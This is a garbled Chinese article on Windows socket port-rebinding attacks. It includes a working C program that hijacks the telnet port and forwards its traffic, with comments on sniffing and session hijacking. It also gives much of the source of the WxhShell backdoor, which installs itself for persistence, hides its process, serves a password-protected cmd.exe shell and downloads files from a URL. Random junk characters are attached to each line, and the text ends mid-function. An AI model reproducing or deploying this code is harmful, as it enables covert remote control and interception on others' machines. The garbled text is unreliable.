在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
i"FtcP^ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
uZYF(Yu t3ZOco@~P saddr.sin_family = AF_INET;
XJB)rP gg/-k;@ Rf saddr.sin_addr.s_addr = htonl(INADDR_ANY);
iVr J Q ^CH=O|8j bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
8d{0rqwNE L{\8!51L 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
Hio0HL- S+6.ZZ9c 这意味着什么?意味着可以进行如下的攻击:
,THw"bm {uFO/ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
B mb0cFQ V &T~zh1 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
MJ)RvNF D)P ._? 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
3M`M VGN5<?PrN 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
>6-`}G+| hfB%`x#akQ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
.V<+v-h 3 \,4 ]l|
解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
7EEl+;wK LOYk9m 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
G!##X: 6' C.P*#_R #include
VQ@ #include
e%M;?0j #include
Y|qTyE% #include
{S\{Ii6 DWORD WINAPI ClientThread(LPVOID lpParam);
?j.,Nw4FC int main()
{YC@T(
{
]/6z;
~3U WORD wVersionRequested;
H8jpxzXv DWORD ret;
1GRCV8"Z^ WSADATA wsaData;
>R_&Ouh: BOOL val;
J)>c9w SOCKADDR_IN saddr;
_LnpnL: SOCKADDR_IN scaddr;
. Efk* int err;
(WJRi:NP? SOCKET s;
Jpq~ SOCKET sc;
~ Iuf}D; int caddsize;
h#*dI`>l- HANDLE mt;
S hWJ72c DWORD tid;
29b9`NXt wVersionRequested = MAKEWORD( 2, 2 );
e9tjw[+A err = WSAStartup( wVersionRequested, &wsaData );
qR{=pR if ( err != 0 ) {
cjY-y-vO printf("error!WSAStartup failed!\n");
6MW{,N return -1;
Izc\V9+ }
%1L,Y saddr.sin_family = AF_INET;
kD%( _K5 }8z?t:|S //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
]W!0$'o j (d~aqW saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
Ml5w01O saddr.sin_port = htons(23);
>=>2m2z= if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
& .j&0WE {
^ytrK
Q printf("error!socket failed!\n");
JbbzV> return -1;
,0 sm }
qDIZJh val = TRUE;
eByz-,{P //SO_REUSEADDR选项就是可以实现端口重绑定的
e*C(q~PQ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
_H%c;z+ {
B 3I`40# printf("error!setsockopt failed!\n");
HC8e>kP9b return -1;
'<<t]kK[N }
c?-H>u //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
t{kG<J/l //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
jr."I+ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
G` A4|+W" zw[m9N5\h if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
EVSX.'&f {
tk`v:t!6U ret=GetLastError();
_{KG
4+5\X printf("error!bind failed!\n");
ND;#7/$> return -1;
dn3y\ }
m(!FHPvN listen(s,2);
Fxz"DZY6 while(1)
xp{tw$ {
[q-h|m caddsize = sizeof(scaddr);
q9_OGd|P //接受连接请求
"8MF_Gu): sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
o.!Dq7R if(sc!=INVALID_SOCKET)
M }D}K\) {
2ilQXy mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
oc`H}Wvn if(mt==NULL)
t~XN}gMxw {
yf+)6D -9n printf("Thread Creat Failed!\n");
oPM96
( break;
o*H<KaX }
bd-L`={j }
7NGxa6wi CloseHandle(mt);
i.m^/0! }
5;EvNu closesocket(s);
Q2gq}c~ WSACleanup();
TeM|:o return 0;
QWYJ* }
m_]Y{3C
DWORD WINAPI ClientThread(LPVOID lpParam)
Xv^qVn4 {
Rm( "=( SOCKET ss = (SOCKET)lpParam;
}7Q% 6&IR SOCKET sc;
5b*C1HS@X unsigned char buf[4096];
8ib:FF(= u SOCKADDR_IN saddr;
a~w$#fo"`f long num;
L8B!u9% DWORD val;
77Y/!~kd DWORD ret;
V,njO{Q //如果是隐藏端口应用的话,可以在此处加一些判断
7.oM J //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
fHFE){ saddr.sin_family = AF_INET;
z}
#JK?u saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
k(HUUH_z saddr.sin_port = htons(23);
?@86P|19 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
%ET+iIhK {
g7H(PF? printf("error!socket failed!\n");
XL^GZ return -1;
<5051UEu }
2+XAX:YD val = 100;
;V!D:5U if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
@VEb{ w[H {
}K(TjZR ret = GetLastError();
9*M,R,y return -1;
@yYkti;4- }
GbI/4<)l} if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
a7opCmL {
>(<f 0 ret = GetLastError();
$&c*'3 return -1;
*.[.
{qG( }
Pm7}"D'/ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
tw@X>
G1z {
@0''k printf("error!socket connect failed!\n");
~n_HP_Kf? closesocket(sc);
He@KV= closesocket(ss);
^\m![T\bX return -1;
TWTb?HP }
?@x/E& while(1)
:A;RH {
i%?* @uj //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
YmG("z //如果是嗅探内容的话,可以再此处进行内容分析和记录
}GM'.yutX //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
(ZlU^Gw#UB num = recv(ss,buf,4096,0);
z1a7*)8P if(num>0)
-9?]IIVb send(sc,buf,num,0);
;_=&-mz else if(num==0)
6 u6x break;
A#,ZUOPGH num = recv(sc,buf,4096,0);
fz_r7? if(num>0)
%]i15;{X send(ss,buf,num,0);
*-X[u: else if(num==0)
%BODkc Zh break;
PA*5Bk="q }
"[N!m1i:{ closesocket(ss);
;tf=gdX; closesocket(sc);
DY*N|OnqJ return 0 ;
EU#^7 }
2~V*5~fb lB4WKn=?Kl 6S#Cl>v ==========================================================
7yQ4*UB Lw,h+@0 下边附上一个代码,,WXhSHELL
M6TD"- /-s6<e! ==========================================================
|s_GlJV. LzL
So"n #include "stdafx.h"
E{(;@PzE xIn:ZKJ' #include <stdio.h>
i.#:zU%o #include <string.h>
I/N *gy?* #include <windows.h>
j>kqz>3 #include <winsock2.h>
`]aeI'[}R #include <winsvc.h>
i
XN1I #include <urlmon.h>
\=o- wd6owr #pragma comment (lib, "Ws2_32.lib")
q3`u1S7Z7 #pragma comment (lib, "urlmon.lib")
%so]L+r2! :!QAC@
#define MAX_USER 100 // 最大客户端连接数
j<$2hiI/?& #define BUF_SOCK 200 // sock buffer
An@t?#4gxi #define KEY_BUFF 255 // 输入 buffer
ssL\g`xe xSu > #define REBOOT 0 // 重启
,r}6iFu #define SHUTDOWN 1 // 关机
,,r>,Xq6 wIgS3K #define DEF_PORT 5000 // 监听端口
Bw.i}3UT6 4p wH>1 #define REG_LEN 16 // 注册表键长度
73-p*o(pt #define SVC_LEN 80 // NT服务名长度
q(w(Sd)#L X>^fEQq" // 从dll定义API
"N#Y gSr typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
8Fub<UhJ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
6u%&<")4HP typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
4M T 7 `sr typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
qP
,EBE VEH>]-0K // wxhshell配置信息
gGuO struct WSCFG {
05R@7[GWq int ws_port; // 监听端口
HOi`$vX}N char ws_passstr[REG_LEN]; // 口令
p7~!z.)o int ws_autoins; // 安装标记, 1=yes 0=no
1;iUWU1@ char ws_regname[REG_LEN]; // 注册表键名
k7^5Bp8= char ws_svcname[REG_LEN]; // 服务名
,%y/kS] char ws_svcdisp[SVC_LEN]; // 服务显示名
xD 7]C|8o char ws_svcdesc[SVC_LEN]; // 服务描述信息
/{2,zW char ws_passmsg[SVC_LEN]; // 密码输入提示信息
*WZA9G#V5 int ws_downexe; // 下载执行标记, 1=yes 0=no
4ppz,L,4 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
JGZBL{8 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
n"8Yv~v*2j 8EYkQ };
~6gPS
13 @F>D+=hS // default Wxhshell configuration
[>9is=>o. struct WSCFG wscfg={DEF_PORT,
gDzK{6Z} "xuhuanlingzhe",
u&e~1?R 1,
YkADk9fE "Wxhshell",
A}w/OA97RO "Wxhshell",
?A0)L27UE& "WxhShell Service",
sos5Y} "Wrsky Windows CmdShell Service",
>GuM]qn "Please Input Your Password: ",
dWW.Y*339 1,
$Kd>:f=A "
http://www.wrsky.com/wxhshell.exe",
7$#u "Wxhshell.exe"
UZ";a453r };
HKe K<V BLFdHB.$T // 消息定义模块
8,|k ao: char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
I 6O char *msg_ws_prompt="\n\r? for help\n\r#>";
bMBLXk char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
d 'ifLQ\ char *msg_ws_ext="\n\rExit.";
1H9!5=Ff char *msg_ws_end="\n\rQuit.";
z!\*Y
=e char *msg_ws_boot="\n\rReboot...";
r|Z{-*` char *msg_ws_poff="\n\rShutdown...";
w(F%^o\ char *msg_ws_down="\n\rSave to ";
ABkl%m6xf "jCu6Rj d char *msg_ws_err="\n\rErr!";
<Z$J<]I char *msg_ws_ok="\n\rOK!";
3gzXbP, U!]dEW|G char ExeFile[MAX_PATH];
0"#HJA44 int nUser = 0;
.]Z"C&"N] HANDLE handles[MAX_USER];
|?9HU~B int OsIsNt;
L.IlBjD ! P4*+')M SERVICE_STATUS serviceStatus;
R#KU^]"( SERVICE_STATUS_HANDLE hServiceStatusHandle;
ULW~90 :KO2| v\ // 函数声明
z%kULTL int Install(void);
!9x} int Uninstall(void);
R-Sym8c int DownloadFile(char *sURL, SOCKET wsh);
-qoH,4w int Boot(int flag);
6:2vP
NF void HideProc(void);
rlD8D|ZG int GetOsVer(void);
V8(- int Wxhshell(SOCKET wsl);
pot~<d`:K" void TalkWithClient(void *cs);
9u:Q,0\ int CmdShell(SOCKET sock);
2rMpgV5 int StartFromService(void);
# "an9< int StartWxhshell(LPSTR lpCmdLine);
;kK/_%gN-G jdBLsy@ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
Pz^544\~ou VOID WINAPI NTServiceHandler( DWORD fdwControl );
4P0}+ 11lsf/IP // 数据结构和表定义
x"gVq
~ SERVICE_TABLE_ENTRY DispatchTable[] =
EV?z`jE9 {
iQ{VY
^
0 {wscfg.ws_svcname, NTServiceMain},
ite~E5?# {NULL, NULL}
SX*RP;vHy };
gZ5 |UR< W9)&!&<o // 自我安装
9FX-1,Jx int Install(void)
1eKT^bgM {
"5
A!jq char svExeFile[MAX_PATH];
r
:dTz HKEY key;
/O9EQ Pm( strcpy(svExeFile,ExeFile);
1&2>LE/P fR|A(u#9 // 如果是win9x系统,修改注册表设为自启动
EQ ttoOO if(!OsIsNt) {
Wjc'*QCPl if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
e# bn# RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
g=rbPbu RegCloseKey(key);
c`W,~[Q<O+ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
y)*RV;^ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
H>C=zo,oiC RegCloseKey(key);
Cyp'?N
return 0;
olcDt&xv] }
Y$zSQ_k;U }
Q.[0ct }
P* o9a else {
j39wA~K *`U~?q} // 如果是NT以上系统,安装为系统服务
xkn;,`t^lJ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
v2?ZQeHr_( if (schSCManager!=0)
5)E @F9N {
S[N5 ikg SC_HANDLE schService = CreateService
T;uX4,|( (
6nQq schSCManager,
+q oRP2 wscfg.ws_svcname,
b]y2+A.n wscfg.ws_svcdisp,
_g.{MTQ SERVICE_ALL_ACCESS,
Y0>y8UV SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
Z}QB.$& SERVICE_AUTO_START,
% `3jL7| SERVICE_ERROR_NORMAL,
iB{V^ksU svExeFile,
fIF8%J ^3 NULL,
7 3m1 NULL,
f<H2-(m NULL,
yjAL\U7`T NULL,
HV.t6@\}; NULL
O84i;S+-p );
#F#%`Rv1 if (schService!=0)
A's{j7 {
#S(Hd?34, CloseServiceHandle(schService);
v1[29t<I! CloseServiceHandle(schSCManager);
XRH!]! strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
Uv.)?YeGh strcat(svExeFile,wscfg.ws_svcname);
wbHb;] if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
TNth RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
+0~YP*I`/ RegCloseKey(key);
,)XLq8 return 0;
JO;Uus{? }
w@b)g }
(?c-iKGc CloseServiceHandle(schSCManager);
! z**y}<T }
P'2Qen* }
E3i4=!Y 6-I'>\U~ return 1;
!?XC1xe~R }
eIlva? FtZ?C@1/ // 自我卸载
>bxS3FCX int Uninstall(void)
-%~4W? {
M{\I8oOg HKEY key;
q@&6#B R@0R`Zs if(!OsIsNt) {
(=$x.1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
R2; RegDeleteValue(key,wscfg.ws_regname);
1,~D4lD| RegCloseKey(key);
y^k$Us if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
KP"+e:a% RegDeleteValue(key,wscfg.ws_regname);
8QK&_n* RegCloseKey(key);
S:Hl/:iV return 0;
74u&%Rj }
<[phnU^
8 }
yuVs
YV@" }
(ZGbhMK else {
<Uur^uB y(&Ac[foS} SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
6mE\OS-I if (schSCManager!=0)
y2v^-q3 {
iwq!w6+ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
TV:9bn?r) if (schService!=0)
GeqPRah {
2|,VqVb if(DeleteService(schService)!=0) {
u y+pP!< CloseServiceHandle(schService);
u!s2BC0}N CloseServiceHandle(schSCManager);
~@!bsLSMU return 0;
.6> w'F{> }
R/_&m$ZB CloseServiceHandle(schService);
%C0Dw\A*: }
ibw;}^m( CloseServiceHandle(schSCManager);
D@KlOU{< }
B1gR5p 0 }
E@\e$?*X LscGTs, return 1;
5s XXM }
5tnlrqC i1085ztN // 从指定url下载文件
H::bwn`Vc int DownloadFile(char *sURL, SOCKET wsh)
CAlCDfKW} {
us.~G HRESULT hr;
+_`7G^U?% char seps[]= "/";
E{\2='3\ char *token;
Y@v>FlqI{ char *file;
YQ}o?Q$z char myURL[MAX_PATH];
. me;.,$# char myFILE[MAX_PATH];
.X&9Q9T=# ^pS~Z~[d/ strcpy(myURL,sURL);
jo7\`#(Q token=strtok(myURL,seps);
t:S+%u U while(token!=NULL)
LP-o8c {
=AT."$r>
file=token;
So6x"1B token=strtok(NULL,seps);
IgzQr > }
3R/bz0 V> 'R)Tn!6 GetCurrentDirectory(MAX_PATH,myFILE);
KoRV%@I strcat(myFILE, "\\");
\*da6Am strcat(myFILE, file);
0_/[k*Re send(wsh,myFILE,strlen(myFILE),0);
y}
'@R$ send(wsh,"...",3,0);
2!\DPX hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
JC"z&ka if(hr==S_OK)
eE Kf|I return 0;
K:M8h{Ua else
=D(j)<9$A return 1;
AX INThJ ]|@^1we }
_aphkeqd XZf$K _F&M // 系统电源模块
jdN`mosJ int Boot(int flag)
YUb_y^B^ {
T|$H#n} HANDLE hToken;
*a)n62 TOKEN_PRIVILEGES tkp;
mv><HqDL1 TC('H[
] if(OsIsNt) {
#mT"gs OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
`^vE9nW7 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
sKWfXCd tkp.PrivilegeCount = 1;
LeQjvW9y tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
"Q<MS'a AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
VTM/hJmwJ if(flag==REBOOT) {
wzA$'+Mb if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
=|=(l)8 return 0;
&m3lXl }
0Gk<l{o?^ else {
dr(*T if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
m 5.Zu. return 0;
v19-./H^
j }
]'cs. }
gR**@t=;j else {
DXo|.!P=3 if(flag==REBOOT) {
#E?4E1bnB if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
J,hCvm return 0;
mw!F{pw }
'91/md5 else {
`uFdwO'DD if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
{ax:RUQxy return 0;
/z!%d%" }
}C:r9?T }
E./2jCwI(Y :/#rZPPF return 1;
> I?IPQB
}
8}[).d160
XX@ZQcN // win9x进程隐藏模块
T%Lx%Qn void HideProc(void)
.>S!ji {
Ba,`TJ%y eRYK3W HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
\RiP
if ( hKernel != NULL )
_-D{-Bu# {
uZ5p#M_ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
+z( Lr=G ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
i. "v4D FreeLibrary(hKernel);
b-DvW4B }
UZMd~| S!UaH>Rh return;
3<!7>]A }
n]9$:aLZ Ey2^? // 获取操作系统版本
'V {W-W< int GetOsVer(void)
QY/w {
zdYjF| OSVERSIONINFO winfo;
\<' ?8ri# winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
DF= *_,2/ GetVersionEx(&winfo);
Ie_wHcM< if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
+R &gqja return 1;
paK2xX8E else
*T/']t return 0;
#4PN"o@ }
w}KkvP^ 6'/ #+,d' // 客户端句柄模块
y0#2m6u int Wxhshell(SOCKET wsl)
[6fQ7uFMM8 {
=euni}7a SOCKET wsh;
+rd+0 `}C struct sockaddr_in client;
e=
AKD# DWORD myID;
yAt^; +whDU2 " while(nUser<MAX_USER)
q1,~ {
py4 h(04u int nSize=sizeof(client);
#a6iuO0I wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
$mI Loy
B, if(wsh==INVALID_SOCKET) return 1;
!zo{tI19 a9gLg
& handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
CrLrw T if(handles[nUser]==0)
^sw?gH* closesocket(wsh);
EwN}l else
aOp\91
nUser++;
wT@og|M }
d-qUtgqV86 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
b9krOe*j S'" Df5 return 0;
U6K|fYN` }
\D4:Nt# CTb%(<r // 关闭 socket
]G\}k void CloseIt(SOCKET wsh)
AH^/V}9H {
w<#!h6Y= closesocket(wsh);
+[VXs~I
q nUser--;
Psf#c:*_) ExitThread(0);
/wp6KXm }
`3pW]&
'DR!9De // 客户端请求句柄
eFgA 8kY) void TalkWithClient(void *cs)
7dWS {
,bi^P>X
P0@,fd< SOCKET wsh=(SOCKET)cs;
TbU#96"~. char pwd[SVC_LEN];
^('wy}; char cmd[KEY_BUFF];
%EH)&k char chr[1];
F5<Hm_\: int i,j;
V0@=^Bls LV Ge]lD while (nUser < MAX_USER) {
Xvu(vA tw;}jh if(wscfg.ws_passstr) {
1Mzmg[L8 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
'L'R9&o<X //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
5!
{D! //ZeroMemory(pwd,KEY_BUFF);
6Mf0`K i=0;
?9/G[[( while(i<SVC_LEN) {
X'srL j. dV_G1' // 设置超时
]^E?;1$f? fd_set FdRead;
la!~\wpa struct timeval TimeOut;
dPlV>IM$z FD_ZERO(&FdRead);
T)/eeZ$ FD_SET(wsh,&FdRead);
FPz9N@M%Q TimeOut.tv_sec=8;
o/E >f_k[ TimeOut.tv_usec=0;
jcOcWB| int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
1}x%%RD_ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
iS^QTuk3% uRvP hkqm if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
';CNGv - pwd
=chr[0]; 0mE 0 j
if(chr[0]==0xd || chr[0]==0xa) { Ud?Q%)X
pwd=0; ^qs $v06
break; t Q)qCk07
} _6Sp QW
i++; B\~}3!j
} -@'FW*b
Lbgi7|&
// 如果是非法用户,关闭 socket p K*TE5]
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 1EK*g;H
} dO'(2J8
{: /}NpA$
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?uu*L6
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); aE8VZ8tvq
Dt@SqX:~Ee
while(1) { Nn6%9PX_)
kiEa<-]
ZeroMemory(cmd,KEY_BUFF); w)f#V s
:#Wd~~d
// 自动支持客户端 telnet标准 )=+|i3]U
j=0; 5pX6t
while(j<KEY_BUFF) { 6nn*]|7
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /~1+i'7V.,
cmd[j]=chr[0]; llq<egZpm
if(chr[0]==0xa || chr[0]==0xd) { dysS9a,
cmd[j]=0; "oyo#-5z
break; &ZO0r ^
} _a, s
)
j++; ,1`z"7\W
} \fOEqe*5SM
pa+hL,w{6
// 下载文件 #!=tDc
&
if(strstr(cmd,"http://")) { VbYdZCC
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ZJoM?g~WFI
if(DownloadFile(cmd,wsh)) }f ?y*
H
send(wsh,msg_ws_err,strlen(msg_ws_err),0); mH(:?_KrS-
else zLQx%Yg!
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }MySaL>
} >*bvw~y,
else { ".%k6W<n
g)-te+?6
switch(cmd[0]) { 5P bW[
PCA4k.,T
// 帮助 mFeP9MfJ
case '?': { I%):1\)
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); '/p4O2b,
break; ?6!LL5a.
} P}iE+Z3
// 安装 8ag!K*\V<
case 'i': { [E_9V%^
if(Install()) lE;!TQj:X
send(wsh,msg_ws_err,strlen(msg_ws_err),0); bA 2pbjg=
else @ Qe0! (_=
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); btB%[]
break; 9c],<;{'
} 637:
oT_`O
// 卸载 ceA9){
case 'r': { }V>T M{
if(Uninstall()) U$g?!Yl0
send(wsh,msg_ws_err,strlen(msg_ws_err),0); f);FoVa6
else MV"=19]
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #yen8SskB
break; 4-w{BZuS
} ZCw]m#lS
// 显示 wxhshell 所在路径 =4!mAo}
case 'p': { $G>. \t
char svExeFile[MAX_PATH]; ]:;&1h3'7
strcpy(svExeFile,"\n\r"); }H4RR}g
strcat(svExeFile,ExeFile); %O<BfIZ
send(wsh,svExeFile,strlen(svExeFile),0); Cx"sw
}
break; xno\s.H%]
} XW9!p.*.U
// 重启 _F{C\}
case 'b': { ~&O%N
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]n~V!hl?A
if(Boot(REBOOT)) }JfjX'
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?2a $*(
else { k)u[0}
closesocket(wsh); u2I Cl
ExitThread(0); BUFv|z+H
} =a!=2VN9y
break; & kIFcd@
} :&Nbw
// 关机 p_ =z#
case 'd': { AW .F3hN)
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $>gFf}#C
if(Boot(SHUTDOWN)) E^PB)D(.
send(wsh,msg_ws_err,strlen(msg_ws_err),0); i4Jc.8^9$
else { 8t`?#8D}
closesocket(wsh); 0x7'^Z>-oe
ExitThread(0); $kgVa^
} e!`i3KYn"
break; !k%#R4*>
} <{pz<io)
// 获取shell ex|F|0k4}
case 's': { ijcm2FJcG
CmdShell(wsh); fM}#ON>Z
closesocket(wsh); +p^u^a
ExitThread(0); $M#>9QHhc
break; b-y
} !wNO8;(
// 退出 l2d{ 73h
case 'x': { ToQ"Iy?
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); u-TUuP
CloseIt(wsh); wzaV;ac4K
break; ,Q,^3*HX9}
} Q?T]MUY(L
// 离开 VpUAeWb
case 'q': { &zhAh1m
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 8fb'yjIC
closesocket(wsh); >7r!~+B"9'
WSACleanup(); ,[Fb[#Qqb
exit(1); O f#:
break; / xQPTT
} t5zKW _J7
} `6YN3XS
} K^$=dLp
HDKbF/
// 提示信息 ] - .aL
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fnY.ao1-s[
} +#By*;BJ
} 8Y3I0S
y]imZ4{/
return; +RXoi2"-q@
} Wm|lSisY
eFAnFJ][L
// shell模块句柄 "j-CZ\]U|
int CmdShell(SOCKET sock) r/sNrB1U"y
{ U&xUfBDt
STARTUPINFO si; H-%v3d>3
ZeroMemory(&si,sizeof(si)); nm+s{
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; G`zm@QL
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .2pK.$.
PROCESS_INFORMATION ProcessInfo; Ah<+y\C
char cmdline[]="cmd"; $"&JWT!#
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {)"vN(mX
return 0; xpI wrJO
} P$sxr
@KA4N`
// 自身启动模式 V:27)]q
int StartFromService(void) S$k&vc(0
{ +{>=^9%X
typedef struct $|@ r!/W
{ PX99uWx5]
DWORD ExitStatus; Bf:Q2slqI
DWORD PebBaseAddress; B:QHwzd
DWORD AffinityMask; BD-AI
DWORD BasePriority; Q^I\cAIB
ULONG UniqueProcessId; nd(S3rct&
ULONG InheritedFromUniqueProcessId; .KC++\{HE
} PROCESS_BASIC_INFORMATION; @H<q"-J
